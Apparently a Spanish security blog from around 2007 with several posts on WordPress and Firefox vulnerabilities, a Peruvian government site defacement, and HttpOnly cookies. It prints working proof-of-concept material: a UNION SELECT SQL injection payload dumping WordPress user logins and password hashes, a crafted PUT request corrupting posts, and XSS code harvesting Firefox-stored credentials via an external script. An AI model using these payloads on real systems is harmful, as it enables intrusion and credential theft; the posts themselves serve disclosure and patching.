Categories
Seguridad Sql Injection Web WordPress XSS

7 nuevos problemas de seguridad en WordPress

Actualización: g30rg3_x me comenta que ya están disponibles los parches oficiales para estos problemas de seguridad, pueden ver los archivos modificados para las versiones 2.2.x (zip) y 2.0.x (zip).

Hace algunas horas acaban de reportar 7 problemas de seguridad en WordPress:

  1. WordPress Persistant XSS Vulnerability in the Default Theme (v.2.2): Los parámetros para la imagen y color de la cabecera en el tema por omisión de WordPress (Kubrick) son vulnerables. Aunque no lo probé, me parece que es parecido al que reporté hace tiempo.
  2. WordPress /options.php SQL Injection Vulnerability: El parámetro page_options no está correctamente validado en wp-admin/options.php. Sólo los usuarios con nivel Administrador pueden explotar esta vulnerabilidad.
  3. WordPress /options.php Information Disclosure: Esta vulnerabilidad se deriva de la anterior, porque en wp-admin/options.php se asume que el nombre de las opciones son seguras.
  4. WordPress /edit-comments.php Database Error (Bug): Simplemente muestra un error en la consulta si el valor de la página es negativo.
  5. WordPress /link-import.php XSS Vulnerability: El parámetro cat_id no es filtrado adecuadamente, para explotarlo requiere tener un valor adecuado para el parámetro _wpnonce.
  6. WordPress /upload.php XSS Vulnerability: En este caso el parámetro style es inseguro.

La misma persona que reportó estos bugs se tomó el trabajo de realizar un gusano que se encarga de parchar los blogs vulnerables, siempre y cuando se el servidor web tenga permisos de escritura en los archivos afectados.

En cada uno de los tickets abiertos ya existen parches oficiales disponibles (4689, 4690, 4691 y 4692). Mi parche para corregir esos problemas es ligeramente diferente:

diff:

Index: wp-admin/edit-comments.php
===================================================================
--- wp-admin/edit-comments.php  (revision 5825)
+++ wp-admin/edit-comments.php  (working copy)
@@ -76,7 +76,7 @@
 endif;
 
 if ( isset( $_GET['apage'] ) )
-       $page = (int) $_GET['apage'];
+       $page = (int) abs($_GET['apage']);
 else
        $page = 1;
 
Index: wp-admin/link-import.php
===================================================================
--- wp-admin/link-import.php    (revision 5825)
+++ wp-admin/link-import.php    (working copy)
@@ -73,7 +73,7 @@
 
 <h2><?php _e('Importing...') ?></h2>
 <?php
-              $cat_id = $_POST['cat_id'];
+              $cat_id = (int) $_POST['cat_id'];
               if ( $cat_id == '' || $cat_id == 0 )
                      $cat_id  = 1;
 
Index: wp-admin/options.php
===================================================================
--- wp-admin/options.php        (revision 5825)
+++ wp-admin/options.php        (working copy)
@@ -143,6 +143,7 @@
               $options_to_update[] = $option->option_name;
               $class = 'all-options';
        }
+       $option->option_name = attribute_escape($option->option_name);
        echo "
 <tr>
        <th scope='row'><label for='$option->option_name'>$option->option_name</label></th>
Index: wp-admin/upload-functions.php
===================================================================
--- wp-admin/upload-functions.php       (revision 5825)
+++ wp-admin/upload-functions.php       (working copy)
@@ -104,6 +104,8 @@
 function wp_upload_form() {
        $id = get_the_ID();
        global $post_id, $tab, $style;
+       $style = attribute_escape($style);
+       $post_id = (int) $post_id;
        $enctype = $id ? '' : ' enctype="multipart/form-data"';
 ?>
        <form<?php echo $enctype; ?> id="upload-file" method="post" action="<?php echo get_option('siteurl') . "/wp-admin/upload.php?style=$style&tab=upload&post_id=$post_id"; ?>">
Index: wp-includes/functions.php
===================================================================
--- wp-includes/functions.php   (revision 5825)
+++ wp-includes/functions.php   (working copy)
@@ -206,6 +206,7 @@
 function get_option($setting) {
        global $wpdb;
 
+       $setting = $wpdb->escape(stripslashes($setting));
        // Allow plugins to short-circuit options.
        $pre = apply_filters( 'pre_option_' . $setting, false );
        if ( $pre )
@@ -305,6 +306,7 @@
 function update_option($option_name, $newvalue) {
        global $wpdb;
 
+       $name = preg_replace('/[^a-z\d_-]/i', '', trim($name));
        wp_protect_special_option($option_name);
 
        if ( is_string($newvalue) )
@@ -352,6 +354,7 @@
 function add_option($name, $value = '', $description = '', $autoload = 'yes') {
        global $wpdb;
 
+       $name = preg_replace('/[^a-z\d_-]/i', '', trim($name));
        wp_protect_special_option($name);
 
        // Make sure the option doesn't already exist. We can check the 'notoptions' cache before we ask for a db query
@@ -391,6 +394,7 @@
 
        wp_protect_special_option($name);
 
+       $name = $wpdb->escape(stripslashes($name));
        // Get the ID, if no ID then return
        $option = $wpdb->get_row("SELECT option_id, autoload FROM $wpdb->options WHERE option_name = '$name'");
        if ( !$option->option_id ) return false;
 

Los que no sepan -- o no quieran -- aplicar manualmente este parche no oficial, pueden descargar el conjunto de archivos modificados para la versión 2.2.1, úsenlo bajo vuestra propia responsabilidad. 🙂

Actualización (03/08/2007): Miquel encontró un bug en el parche que publiqué.

Categories
Perú Seguridad Web

Atacan portal de la Presidencia de Perú

Al parecer, el portal de la Presidencia de Perú sufrió ataques el día de ayer por parte de [posibles] crackers chilenos.

Piratas informáticos supuestamente chilenos atacaron en dos oportunidades el portal de Internet de la Presidencia de Perú y reemplazaron la imagen del jefe de Estado, Alan García, por la del libertador chileno Bernardo O’Higgins, informaron fuentes oficiales.

EFE.- Junto a la imagen de O’Higgins se leía: “¡Viva Chile!”, dijo hoy a Efe una fuente de Palacio de Gobierno.

En el primer ataque a la página oficial, que se produjo a las 13.00 hora local (18.00 GMT) del martes, se colocó una imagen ininteligible de colores verde fosforescente y negro, que fue después eliminada por los técnicos de Palacio, agregó la fuente.

En la segunda intervención informática, que se registró alrededor de las 19.00 hora local (00.00 GMT) del miércoles, se colocó la foto del libertador chileno, que también fue retirada del portal gubernamental.

Expertos informáticos del gobierno y de la empresa Telefónica del Perú investigan los hechos, manifestó la fuente de Palacio.

Más allá de esta triste noticia y los extraños motivos de los atacantes, recuerdo que hace tiempo envié un mail al webmaster de este portal conteniendo un -- pequeño -- reporte de las vulnerabilidades que había encontrado, pero jamás obtuve una respuesta. Hoy, luego de leer sobre el incidente y revisar esa página, veo que algunos problemas que reporté todavía siguen sin corregirse.

Lo más probable es que este incidente se vuelva a repetir si no toman las medidas adecuadas no sólo en este portal, sino también en muchos sitios de instituciones que pertenecen al gobierno -- que además de pasar por alto los estándares de accesibilidad y usabilidad, como se puede apreciar en este tipo de incidentes, son muy inseguros.

Categories
Firefox Seguridad

Firefox y el robo de contraseñas

Actualización: Al parecer Firefox 2.0.0.6 RC1 y RC2 corrigen entre otras cosas, la ejecución remota de programas y esta vulnerabilidad.

A través de menéame, llegué a leer un artículo en el que intentan minimizar el impacto de la vulnerabilidad que permite el robo de contraseñas en Firefox. Haré algunos comentarios citando partes del contenido (negritas agregadas intencionalmente):

Veamos la demostración que nos proponen realizar:
http://www.heise-security.co.uk/services/browsercheck/demos/moz/pass1.shtml

[...]

No hay dudas de que la demostración realiza esto en caso de que hayamos indicado a Firefox que recuerde nuestra contraseña el momento de ingresarla. Sin embargo la demostración se está realizando en el mismo dominio y subdominio. Que sentido tiene esto si estamos en el mismo sitio? Acaso el sitio se roba a su propio sitio?

Para explotar esa vulnerabilidad de Firefox, sólo basta encontrar un bug XSS en cualquier parte de ese dominio (ver demo más abajo).

Ahora veamos el código del formulario de la demostración:

code:

<form method=”get” action=”#” name=”passtest”>
<input type=”text” name=”name”/>
<input type=”password” name=”password”/>
<input type=”submit” value=”submit”/>
</form>

Si vemos el código fuente de la "evil page", vemos un formulario similar con los mismos nombres de campos que el anterior.

Al ingresar los datos en el formulario de la demostración, se verá la siguiente URL tanto en Firefox como en Opera y IE7:

code:

http://www.heise-security.co.uk/services/browsercheck/demos/moz/pass1.shtml?name=miusuario&password=micontrase%F1a#

Para que es necesaria una “evil page” que revele las contraseñas si estas están siendo ya reveladas en la URL? Solo vean la barra de direcciones.

Por otro lado, yo me pregunto: acaso algún sitio serio va a implementar un sistema de contraseñas sin utilizar SSL? Es una locura, además sería responsabilidad del sitio que lo implementa y no del navegador. Ningún sitio en serio implementará contraseñas de ese tipo.

El redactor interpreta mal la prueba de concepto, porque en nigún momento usa la URL para obtener las credenciales, usa el siguiente script:

javascript:

<script>
// setTimeout("dosubmit()", 1000);
setTimeout("doit()", 1000);

function dosubmit()
{
  document.passtest.submit();
}

function doit()
{
   name = document.passtest.name.value;
   password = document.passtest.password.value;
   alert("Your username is: " + name + " and the password is: " + password);
   //document.location = "http://www.heise.de/security/dienste/browsercheck/demos/nc/psteal2.php?name=" + name + "&password=" + password;
}

</script>

Por otro lado, para explotar esta vulnerabilidad dá lo mismo si se usa SSL o no.

También me pregunto: es esta una demostración real o un simple truco? La demo corre en el mismo dominio y mismo subdominio. Si creamos una “evil page” en otro servidor, la demostración no funcionará.

Aparentemente el redactor no captó bien lo que se comenta en la página que describe ese bug o entendí mal sus palabras y no está consciente de los peligros de Cross Site Scripting. Preparé un pequeño demo en el que se simula que la página tiene una vulnerabilidad XSS y se hace uso de ésta para mostrar las credenciales almacenadas en Firefox:

php:

<?php header('Content-Type: text/html; charset=utf-8;'); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <title>Firefox Demo</title> 
</head>

<body>
        <?php
        if ( isset($_GET['evil']) ) :
                /* Página vulnerable a XSS, podría ser cualquier página del dominio
                   para el que se guardan las credenciales */

                // echo $_GET['evil'];
                echo '<script src=http://codeout.org/wp-content/uploads/j.js></script>';
        else : ?>
    <form method="post" action="login.php">
            <input type="text" name="usr" />
                <input type="password" name="pass" />
                <input type="submit" name="login" value="Login &raquo;" />
        </form>
        <?php endif; ?>
       
</body>

</html>

El parámetro evil sirve para emular un bug XSS (por motivos de seguridad no envío ningún valor de evil al navegador), usando este parámetro se podría cargar el siguiente script en una página vulnerable:

javascript:

_c = function (tag, attr) {
        el = document.createElement(tag.toUpperCase());
        if (attr) for(k in attr) el[k] = attr[k];
        return el;
}
// Crear un formulario con los mismos nombres
var form = _c('form');
var user = _c('input', {type:'text', name:'usr'});
var pass = _c('input', {type:'password', name:'pass'});

form.appendChild(user);
form.appendChild(pass);
document.body.appendChild(form);

function showCredentials() {
        alert('Usuario: ' + user.value + ' -- Password:' + pass.value)
}

setTimeout("showCredentials()", 1000);

Esta prueba de concepto fue ejecutada con éxito en Firefox 2.0.0.5 y Windows XP (SP2), para reproducir este error primero tienen que guardar la contraseña para el siguiente formulario, si quieren ver vuestras credenciales almacenadas accedan a http://test.buayacorp.com/login.php?evil o http://test.buayacorp.com/fx.html.

Lo único acertado que veo en el artículo en cuestión, es la recomendación que se hace para establecer en false el valor de signon.prefillForms en la configuración de Firefox (about:config).

Categories
Firefox Seguridad Web XSS

Firefox 2.0.0.5 finalmente implementa las cookies HttpOnly

Un poco antes de lo esperado, esta última actualización de Firefox (2.0.0.5), finalmente incluye el soporte para cookies HttpOnly.

Ejemplos de uso en ASP.NET y PHP:

asp:

<%@ Page Language="C#" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<script runat="server">

    protected void Page_Load(object sender, EventArgs e)
    {
        Response.Cookies["Demo"].Value = "Prueba";
        Response.Cookies["Demo"].Secure = true;
    }
</script>

<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>HttpOnly Firefox 2.0.0.5</title>
    <script type="text/javascript">
    alert(document.cookie);
    </script>
</head>
<body>

</body>
</html>

php:

<?php

// PHP 4
setcookie('foo', 'test', null, '/;HttpOnly');
/*
PHP 5

setcookie('foo', 'test', null, null, null, true);
// o
ini_set("session.cookie_httponly", 1);
// o
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
*/

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <title>HttpOnly Firefox 2.0.0.5</title>
        <script type="text/javascript">
            //<![CDATA[
            alert(document.cookie)
            //]]>
        </script>
</head>
</html>

Como mencioné anteriormente, esta característica no es la panacea para evitar el robo de cookies a través de XSS, pero por lo menos reducirá un poco los vectores de ataque.

Categories
Seguridad Sql Injection Web WordPress

WordPress: Más vulnerabilidades de inyección de SQL

Puesto que en estos días ando algo ocupado y sin muchas ideas para publicar, aprovecharé la oleada de reportes de seguridad en WordPress para comentar algunos bugs que todavía no están corregidos en la versión 2.2.1 ni en la versión en desarrollo, a pesar de que los reporté hace como dos o tres semanas.

Primera variante

Se puede reproducir en las funciones create_post, put_post y put_attachment de wp-app.php, este error se produce porque no escapan adecuadamente todos los caracteres potencialmente peligrosos en los datos que son enviados a ésta página. Esta es la única función que actúa sobre esos datos:

php:

function xml_escape($string)
{
         return str_replace(array('&','"',"'",'<','>'),
                array('&amp;','&quot;','&apos;','&lt;','&gt;'),
                $string );
}

El siguiente ejemplo muestra una petición HTTP que arruinará los contenidos de la tabla wp_posts, en este caso se usa el método put_post.

code:

PUT /wp/wp-app.php?action=/post/55 HTTP/1.1
Cookie: auth cookies
Content-Type: application/atom+xml
Host: localhost
Content-Length: 170

<feed>
    <entry>
        <id>http://localhost/wp/archivos/titulo-modificado/</id>
        <title type="html">foo\</title>
        <summary type="html">/*</summary>       
    </entry>
</feed>

Al realizar esa petición HTTP, la consulta ejecutada será:

sql:

UPDATE IGNORE wp_svn_posts SET
                        post_author = '1',
                        post_date = '2007-06-27 22:57:05',
                        post_date_gmt = '2007-06-28 03:57:05',
                        post_content = '',
                        post_content_filtered = '',
                        post_title = 'foo\',
                        post_excerpt = '/*',

                        post_status = 'publish',
                        post_type = 'post',
                        comment_status = 'open',
                        ping_status = 'open',
                        post_password = '',
                        post_name = 'test',
                        to_ping = '',
                        pinged = '',
                        post_modified = '2007-07-12 23:05:39',
                        post_modified_gmt = '2007-07-13 04:05:39',
                        post_parent = '0',
                        menu_order = '0'
                        WHERE ID = 55
 

Segunda variante

Esta variante está en estrecha relación a lo discutido en "PHP: Uso adecuado de parse_str", en esta entrada, a pesar de que existen más lugares donde se puede hacer lo mismo, sólo mostraré un caso específico.

En el widget para mostrar páginas, existe una opción que permite indicar los IDs de las páginas a excluir, este valor se almacena sin casi ningún tipo de validación (sólo se aplica strip_tags). Si hacemos que ese parámetro tenga el siguiente valor (puede variar de acuerdo a la versión que usen), en la página principal del blog se mostrará la lista de usuarios con su respectiva contraseña en MD5.

code:

2&hierarchical=0&meta_key=2') UNION ALL SELECT 1,1,2,3,4,concat(user_login,0x7C,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 FROM wp_svn_users/*&meta_value=1

Usando este mismo método, es posible realizar ataques XSS en wordpress.com (ver demo, funciona en IE y algunas veces en Firefox), en este caso, las vulnerabilidades de XSS son más peligrosas porque las cookies son globales, es decir, se comparten entre todos los subdominios de wordpress.com.